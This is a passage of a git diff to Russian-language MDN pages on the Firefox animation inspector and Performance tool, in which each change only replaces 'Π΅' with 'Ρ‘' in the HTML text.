ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ</span> <span>страницу</span> <span>Π² этой Ρ‚ΠΎΡ‡ΠΊΠ΅.</span></span></p>
-<p><span id="result_box" lang="ru"><span>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ</span> <span>это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚,</span> <span>ΠΌΡ‹</span> <span>Ρ€Π°Π·Π±Π΅Ρ€Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span><span>.</span> <span>Π Π°Π·Π΄Π΅Π» Π΄Π°Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅</span> <span>содСрТит Ρ‚Ρ€ΠΈ</span> сСрыС <span>ΠΈΠΊΠΎΠ½ΠΊΠΈ</span><span>,</span> <span>каТдая ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… прСдставляСт</span> <span>Ρ€Π°Π·Π½Ρ‹Π΅</span></span> <a href="https://www.mozilla.org/en-US/firefox/channel/">Firefox channel</a>. <span id="result_box" lang="ru"><span>Если Ρ‰Π΅Π»ΠΊΠ½ΡƒΡ‚ΡŒ</span> <span>Π·Π½Π°Ρ‡ΠΎΠΊ</span><span>, ΠΎΠ½</span> <span>увСличиваСтся</span> <span>измСнСния</span> <span>Ρ†Π²Π΅Ρ‚</span><span>,</span> <span>ΠΈ</span> <span>Π½Π° экранС отобраТаСтся Π½Π°Π·Π²Π°Π½ΠΈΠ΅</span> <span>ΠΊΠ°Π½Π°Π»Π°</span><span>.</span> <span>НаТмитС Π½Π°</span> <span>Π·Π½Π°Ρ‡ΠΎΠΊ Π΅Ρ‰Π΅ Ρ€Π°Π·</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ</span> <span>эффСкт</span><span>.</span> <span>Π­Ρ‚ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>сдСланы</span> <span>ΠΏΡƒΡ‚Π΅ΠΌ примСнСния</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΎΠ²</span> <span>ΠΊ нСскольким</span> <span>свойствам</span> <span>CSS</span><span>.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Π§Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ</span> <span>это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚,</span> <span>ΠΌΡ‹</span> <span>Ρ€Π°Π·Π±Π΅Ρ€Ρ‘ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span><span>.</span> <span>Π Π°Π·Π΄Π΅Π» Π΄Π°Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅</span> <span>содСрТит Ρ‚Ρ€ΠΈ</span> сСрыС <span>ΠΈΠΊΠΎΠ½ΠΊΠΈ</span><span>,</span> <span>каТдая ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… прСдставляСт</span> <span>Ρ€Π°Π·Π½Ρ‹Π΅</span></span> <a href="https://www.mozilla.org/en-US/firefox/channel/">Firefox channel</a>. <span id="result_box" lang="ru"><span>Если Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΡ‚ΡŒ</span> <span>Π·Π½Π°Ρ‡ΠΎΠΊ</span><span>, ΠΎΠ½</span> <span>увСличиваСтся</span> <span>измСнСния</span> <span>Ρ†Π²Π΅Ρ‚</span><span>,</span> <span>ΠΈ</span> <span>Π½Π° экранС отобраТаСтся Π½Π°Π·Π²Π°Π½ΠΈΠ΅</span> <span>ΠΊΠ°Π½Π°Π»Π°</span><span>.</span> <span>НаТмитС Π½Π°</span> <span>Π·Π½Π°Ρ‡ΠΎΠΊ Π΅Ρ‰Ρ‘ Ρ€Π°Π·</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ</span> <span>эффСкт</span><span>.</span> <span>Π­Ρ‚ΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>сдСланы</span> <span>ΠΏΡƒΡ‚Ρ‘ΠΌ примСнСния</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΎΠ²</span> <span>ΠΊ нСскольким</span> <span>свойствам</span> <span>CSS</span><span>.</span></span></p>
<p>{{ EmbedLiveSample('firefox-logo-animation', 500, 250, "", "Tools/Page_Inspector/How_to/Work_with_animations/Animations_examples") }}</p>
<p><span id="result_box" lang="ru"><span>Π”Π°Π²Π°ΠΉΡ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ</span> <span>инспСктор Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span><span>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ</span><span>, Ρ‡Ρ‚ΠΎ происходит Π½Π° Π΄Π°Π½Π½ΠΎΠΌ</span><span> ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅</span><span>.</span></span></p>
<ul>
- <li><span id="result_box" lang="ru"><span>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Firefox</span> <span>43</span> <span>ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ позднюю Π²Π΅Ρ€ΡΠΈΡŽ</span><span>,</span> <span>Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ</span> <span>ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π·Π½Π°Ρ‡ΠΊΠΎΠ²</span> <span>ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ΠΏΡƒΠ½ΠΊΡ‚ "</span><span>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ</span> <span>элСмСнт"</span><span>.</span></span></li>
+ <li><span id="result_box" lang="ru"><span>Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Firefox</span> <span>43</span> <span>ΠΈΠ»ΠΈ Π±ΠΎΠ»Π΅Π΅ позднюю Π²Π΅Ρ€ΡΠΈΡŽ</span><span>,</span> <span>Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ ΠΏΡ€Π°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡ‹ΡˆΠΈ</span> <span>ΠΎΠ΄ΠΈΠ½ ΠΈΠ· Π·Π½Π°Ρ‡ΠΊΠΎΠ²</span> <span>ΠΈ Π²Ρ‹Π±Π΅Ρ€ΠΈΡ‚Π΅ ΠΏΡƒΠ½ΠΊΡ‚ "</span><span>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΈΡ‚ΡŒ</span> <span>элСмСнт"</span><span>.</span></span></li>
<li><span id="result_box" lang="ru"><span>Π’Ρ‹, вСроятно,</span> <span>Ρ‚Π°ΠΊΠΆΠ΅ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅</span><span> Π½Π°ΡΡ‚Ρ€ΠΎΠΈΡ‚ΡŒ Π²Ρ‹Π±Ρ€Π°Π½Π½Ρ‹ΠΉ</span> <span>ΡƒΠ·Π΅Π»</span> <span>Π½Π° ΠΎΠ΄ΠΈΠ½ ΡƒΡ€ΠΎΠ²Π΅Π½ΡŒ Π²Π²Π΅Ρ€Ρ…</span><span>,</span> <span>ΠΊ</span><span> ΡƒΠ·Π»Ρƒ.</span></span>
<div class="channel">Β </div>
</li>
@@ -64,7 +64,7 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations
<p><img alt="" src="https://mdn.mozillademos.org/files/11929/animation-inspector-44.png" style="display: block; height: 181px; margin-left: auto; margin-right: auto; width: 643px;"></p>
-<p><span id="result_box" lang="ru"><span>Он ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚</span> <span>синхронизированный</span> <span>Π³Ρ€Π°Ρ„ΠΈΠΊ</span> <span>для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°</span> <span>CSS</span> <span>свойств</span> <span>ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ…</span> <span>Π² Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span><span>.</span> <span>Π¨ΠΊΠ°Π»Π° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</span> <span>начинаСтся с</span> <span>Π½Π°Ρ‡Π°Π»Π° ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°</span><span>,</span> <span>ΠΈ заканчиваСтся</span> <span>Π² ΠΊΠΎΠ½Ρ†Π΅</span> <span>послСднСго</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°</span><span>,</span> <span>ΠΈ</span> <span>ΠΏΠΎΠΌΠ΅Ρ‡Π΅Π½Π°</span> <span>ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ</span> <span>ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ 100 миллисСкунд</span> <span>(</span><span>это</span> <span>зависит ΠΎΡ‚</span> <span>Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΌΠ°ΡΡˆΡ‚Π°Π±Π°</span> <span>Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠΉ Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚</span><span>)</span><span>.</span> <span>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅</span> <span>Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ</span><span> ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span> <span>Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚</span> <span>735</span> <span>миллисСкунд</span> <span>для запуска</span><span>.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Он ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚</span> <span>синхронизированный</span> <span>Π³Ρ€Π°Ρ„ΠΈΠΊ</span> <span>для ΠΊΠ°ΠΆΠ΄ΠΎΠ³ΠΎ</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°</span> <span>CSS</span> <span>свойств</span> <span>ΡƒΡ‡Π°ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ…</span> <span>Π² Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span><span>.</span> <span>Π¨ΠΊΠ°Π»Π° Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</span> <span>начинаСтся с</span> <span>Π½Π°Ρ‡Π°Π»Π° ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°</span><span>,</span> <span>ΠΈ заканчиваСтся</span> <span>Π² ΠΊΠΎΠ½Ρ†Π΅</span> <span>послСднСго</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π°</span><span>,</span> <span>ΠΈ</span> <span>ΠΏΠΎΠΌΠ΅Ρ‡Π΅Π½Π°</span> <span>ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Π°ΠΌΠΈ</span> <span>ΠΊΠ°ΠΆΠ΄Ρ‹Π΅ 100 миллисСкунд</span> <span>(</span><span>это</span> <span>зависит ΠΎΡ‚</span> <span>Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΌΠ°ΡΡˆΡ‚Π°Π±Π°</span> <span>Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΠΎΠΉ Π² Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚</span><span>)</span><span>.</span> <span>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅</span> <span>Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ</span><span> ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</span> <span>Π·Π°Π½ΠΈΠΌΠ°Π΅Ρ‚</span> <span>735</span> <span>миллисСкунд</span> <span>для запуска</span><span>.</span></span></p>
<p><span id="result_box" lang="ru"><span>КаТдая анимация</span> <span>ΠΈΠ»ΠΈ</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄</span> <span>ΠΏΠΎΠΊΠ°Π·Π°Π½ Π² Π²ΠΈΠ΄Π΅</span> <span>Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½ΠΎΠΉ полосы</span><span>, установлСнной</span> <span>ΠΏΠΎ</span> <span>шкалС Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</span><span>:</span></span></p>
@@ -81,7 +81,7 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations
<div id="tts_button"><span id="result_box" lang="ru"><span>Если Π² Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>ΠΈΠ»ΠΈ</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π΅</span> <span>ΠΏΡ€ΠΎΠΈΠ·ΠΎΡˆΠ»Π° Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ°</span><span>,</span> <span>это</span> <span>ΠΏΠΎΠΊΠ°Π·Π°Π½ΠΎ Π² Π²ΠΈΠ΄Π΅</span> <span>Π·Π°ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠ²Π°Π½Π½ΠΎΠΉ</span> <span>части</span> <span>ΠΏΠ°Π½Π΅Π»ΠΈ</span></span>.</div>
</div>
</li>
- <li><span id="result_box" lang="ru"><span>ΠŸΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора Π½Π°</span> <span>ΠΏΠ°Π½Π΅Π»ΠΈ</span> <span>появляСтся</span> <span>подсказка</span><span>, Ρ‡Ρ‚ΠΎ Π΄Π°Π΅Ρ‚ Π²Π°ΠΌ</span> <span>Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ</span> <span>ΠΎ</span> <span>Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>ΠΈΠ»ΠΈ</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π΅</span></span> .</li>
+ <li><span id="result_box" lang="ru"><span>ΠŸΡ€ΠΈ Π½Π°Π²Π΅Π΄Π΅Π½ΠΈΠΈ курсора Π½Π°</span> <span>ΠΏΠ°Π½Π΅Π»ΠΈ</span> <span>появляСтся</span> <span>подсказка</span><span>, Ρ‡Ρ‚ΠΎ Π΄Π°Ρ‘Ρ‚ Π²Π°ΠΌ</span> <span>Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΡƒΡŽ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ</span> <span>ΠΎ</span> <span>Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>ΠΈΠ»ΠΈ</span> <span>ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄Π΅</span></span> .</li>
</ul>
<p>Π‘ Π»Π΅Π²ΠΎΠΉ стороны Π±Π°Ρ€Π° ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚Π΅Π»ΡŒ для ΡƒΠ·Π»ΠΎΠ² относящихся ΠΊ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ. Ссли навСсти курсор Π½Π° ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚Π΅Π»ΡŒ, Ρ‚ΠΎ выдСлится ΡƒΠ·Π΅Π» Π½Π° страницС. <span id="result_box" lang="ru"><span>НаТмитС</span> <span>ΠΏΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Ρ‚Π΅Π»ΡŒ</span> <span>для Π²Ρ‹Π±ΠΎΡ€Π°</span> <span>ΡƒΠ·Π»Π° Π²</span> <span>инспСкторС</span></span></p>
@@ -112,7 +112,7 @@ translation_of: Tools/Page_Inspector/How_to/Work_with_animations
<li><span id="result_box" lang="ru"><span>Ρ‚Π΅ΠΊΡƒΡ‰Π΅Π΅ врСмя</span> <span>Π² Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>отобраТаСтся</span> <span>(Π½ΠΎΠ²ΠΎΠ΅ Π²</span> <span>Firefox</span> <span>44</span><span>)</span><span>.</span></span></li>
</ul>
-<p><span id="result_box" lang="ru"><span>И, Π½Π°ΠΊΠΎΠ½Π΅Ρ†</span><span>,</span> <span>Ссли Π²Ρ‹</span> <span>Ρ‰Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ</span> <span>ΠΏΠ°Π½Π΅Π»ΠΈ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ</span> <span>части ΡˆΠΊΠ°Π»Ρ‹ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</span><span>,</span> <span>Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅</span> <span>скруббСр</span><span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ</span> <span>Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Ρ‚Π°Ρ‰ΠΈΡ‚ΡŒ</span> <span>Π²Π»Π΅Π²ΠΎ ΠΈ Π²ΠΏΡ€Π°Π²ΠΎ</span> <span>для ΠΏΠ΅Ρ€Π΅ΠΌΠΎΡ‚ΠΊΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>Π½Π°Π·Π°Π΄ ΠΈ Π²ΠΏΠ΅Ρ€Π΅Π΄</span><span>,</span> <span>ΠΈ</span> <span>Ρ‚ΠΎΡ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ</span><span>, Ρ‡Ρ‚ΠΎ происходит</span><span>, ΠΊΠΎΠ³Π΄Π°</span><span>:</span></span></p>
+<p><span id="result_box" lang="ru"><span>И, Π½Π°ΠΊΠΎΠ½Π΅Ρ†</span><span>,</span> <span>Ссли Π²Ρ‹</span> <span>Ρ‰Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ Π²Π½ΡƒΡ‚Ρ€ΠΈ</span> <span>ΠΏΠ°Π½Π΅Π»ΠΈ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ</span> <span>части ΡˆΠΊΠ°Π»Ρ‹ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</span><span>,</span> <span>Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅Ρ‚Π΅</span> <span>скруббСр</span><span>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ</span> <span>Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠ΅Ρ€Π΅Ρ‚Π°Ρ‰ΠΈΡ‚ΡŒ</span> <span>Π²Π»Π΅Π²ΠΎ ΠΈ Π²ΠΏΡ€Π°Π²ΠΎ</span> <span>для ΠΏΠ΅Ρ€Π΅ΠΌΠΎΡ‚ΠΊΠΈ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ</span> <span>Π½Π°Π·Π°Π΄ ΠΈ Π²ΠΏΠ΅Ρ€Ρ‘Π΄</span><span>,</span> <span>ΠΈ</span> <span>Ρ‚ΠΎΡ‡Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ</span><span>, Ρ‡Ρ‚ΠΎ происходит</span><span>, ΠΊΠΎΠ³Π΄Π°</span><span>:</span></span></p>
<p>{{EmbedYouTube("1hqNaMsB48g")}}</p>
diff --git a/files/ru/tools/performance/index.html b/files/ru/tools/performance/index.html
index ac389754f9..5e443d707e 100644
--- a/files/ru/tools/performance/index.html
+++ b/files/ru/tools/performance/index.html
@@ -4,13 +4,13 @@ slug: Tools/Performance
translation_of: Tools/Performance
original_slug: Tools/ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ
---
-<div>{{ToolsSidebar}}</div><p>Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ Π΄Π°Ρ‘Ρ‚ Π’Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΎΠ±Ρ‰ΡƒΡŽ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΡΡ‚ΡŒ вашСго сайта,Β  JavaScript ΠΈ ΠΎΠ±Ρ‰Π΅Π΅ прСдставлСниС ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСнта ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π’Ρ‹ создадитС запись ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ своСго сайта Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΠΊ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π—Π°Ρ‚Π΅ΠΌ, инструмСнт ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Π’Π°ΠΌ дСйствия Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ Π³Ρ€Π°Ρ„ΠΈΠΊ смСны частоты ΠΊΠ°Π΄Ρ€ΠΎΠ², ΠΏΠΎΠ²Π΅Ρ€Ρ… профиля, Ρ€Π΅Π½Π΄Π΅Ρ€Π° Π’Π°ΡˆΠ΅Π³ΠΎ сайта.</p>
+<div>{{ToolsSidebar}}</div><p>Π˜Π½ΡΡ‚Ρ€ΡƒΠΌΠ΅Π½Ρ‚ Π΄Π°Ρ‘Ρ‚ Π’Π°ΠΌ ΠΏΠΎΠ½ΡΡ‚ΡŒ ΠΎΠ±Ρ‰ΡƒΡŽ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΡΡ‚ΡŒ вашСго сайта,Β  JavaScript ΠΈ ΠΎΠ±Ρ‰Π΅Π΅ прСдставлСниС ΠΎ Ρ€Π°Π·ΠΌΠ΅Ρ‚ΠΊΠ΅. Π‘ ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ инструмСнта ΠΏΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΠΈ Π’Ρ‹ создадитС запись ΠΈΠ»ΠΈ ΠΏΡ€ΠΎΡ„ΠΈΠ»ΡŒ своСго сайта Π·Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΎΠΌΠ΅ΠΆΡƒΡ‚ΠΎΠΊ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. Π—Π°Ρ‚Π΅ΠΌ, инструмСнт ΠΏΠΎΠΊΠ°ΠΆΠ΅Ρ‚ Π’Π°ΠΌ дСйствия Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ Π³Ρ€Π°Ρ„ΠΈΠΊ смСны частоты ΠΊΠ°Π΄Ρ€ΠΎΠ², ΠΏΠΎΠ²Π΅Ρ€Ρ… профиля, Ρ€Π΅Π½Π΄Π΅Ρ€Π° Π’Π°ΡˆΠ΅Π³ΠΎ сайта.</p>
<p>Π’Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ Ρ‡Π΅Ρ‚Ρ‹Ρ€Π΅ Π½Π°Π±ΠΎΡ€Π° инструмСнтов для Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎΠ³ΠΎ изучСния аспСктов профиля:</p>
<ul>
<li>Β <a href="/en-US/docs/Tools/Performance/Waterfall">Waterfall</a> (Π’ΠΎΠ΄ΠΎΠΏΠ°Π΄) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, выполняСт ΠΌΠ°ΠΊΠ΅Ρ‚, JavaScript, пСрСрисовываСт ΠΈ собираСт мусор</li>
- <li><a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a> (Π”Π΅Ρ€Π΅Π²ΠΎ Π²Ρ‹Π·ΠΎΠ²Π°) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScript, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€ΠΎΠ²Π΅Π» Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ своСго Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</li>
+ <li><a href="/en-US/docs/Tools/Performance/Call_Tree">Call Tree</a> (Π”Π΅Ρ€Π΅Π²ΠΎ Π²Ρ‹Π·ΠΎΠ²Π°) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ JavaScript, Π² ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΡ€ΠΎΠ²Ρ‘Π» Π±ΠΎΠ»ΡŒΡˆΡƒΡŽ Ρ‡Π°ΡΡ‚ΡŒ своСго Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</li>
<li><a href="/en-US/docs/Tools/Performance/Flame_Chart">Flame Chart</a> (ΠŸΠ»Π°ΠΌΠ΅Π½Π½Ρ‹ΠΉ Π“Ρ€Π°Ρ„ΠΈΠΊ) ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ стСк Π²Ρ‹Π·ΠΎΠ²ΠΎΠ² JavaScript Π½Π°Π΄ ΠΊΠΎΠ½Π΅Ρ‡Π½ΠΎΠΉ записью.</li>
<li><a href="https://developer.mozilla.org/en-US/docs/Tools/Performance/Allocations">Allocations</a>. Π’ этом прСдставлСнии ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°ΡŽΡ‚ΡΡ распрСдСлСния ΠΊΡƒΡ‡ΠΈ, сдСланныС вашим ΠΊΠΎΠ΄ΠΎΠΌ Π² Ρ…ΠΎΠ΄Π΅ записи. Π­Ρ‚ΠΎ прСдставлСниС появляСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Π² Ρ‚ΠΎΠΌ случаС, Ссли Π²Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΠ»ΠΈ Β«Π—Π°ΠΏΠΈΡΠ°Ρ‚ΡŒ Π²Ρ‹Π΄Π΅Π»Π΅Π½ΠΈΠ΅Β» Π² настройках инструмСнта Β«ΠŸΡ€ΠΎΠΈΠ·Π²ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎΡΡ‚ΡŒΒ».</li>
</ul>
diff --git a/files/ru/tools/performance/waterfall/index.html b/files/ru/tools/performance/waterfall/index.html
index d5f821478a..9489c9f740 100644
--- a/files/ru/tools/performance/waterfall/index.html
+++ b/files/ru/tools/performance/waterfall/index.html
@@ -5,7 +5,7 @@ translation_of: Tools/Performance/Waterfall
